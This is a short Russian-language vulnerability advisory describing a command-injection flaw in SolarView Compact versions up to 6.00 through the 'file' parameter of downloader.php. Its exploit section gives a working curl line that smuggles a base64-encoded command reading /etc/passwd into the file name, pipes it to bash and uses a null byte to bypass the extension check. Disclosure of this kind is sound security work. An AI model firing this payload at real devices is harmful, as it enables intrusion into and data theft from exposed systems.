Краткое описание:

Существует уязвимость внедрения команд в SolarView Compact до версии 6.00, злоумышленники могут выполнять команды, обходя внутренние ограничения через downloader.php.

Производитель:

• SolarView Compact

Затронутый продукт:

• SolarView Compact

Версия:

• SolarView Compact <=ver 6.00

Эксплойт:

curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep root:.*:0:0

Подробности:

Команды могут быть внедрены путем обхода внутренних ограничений через параметр file страницы downloader.php.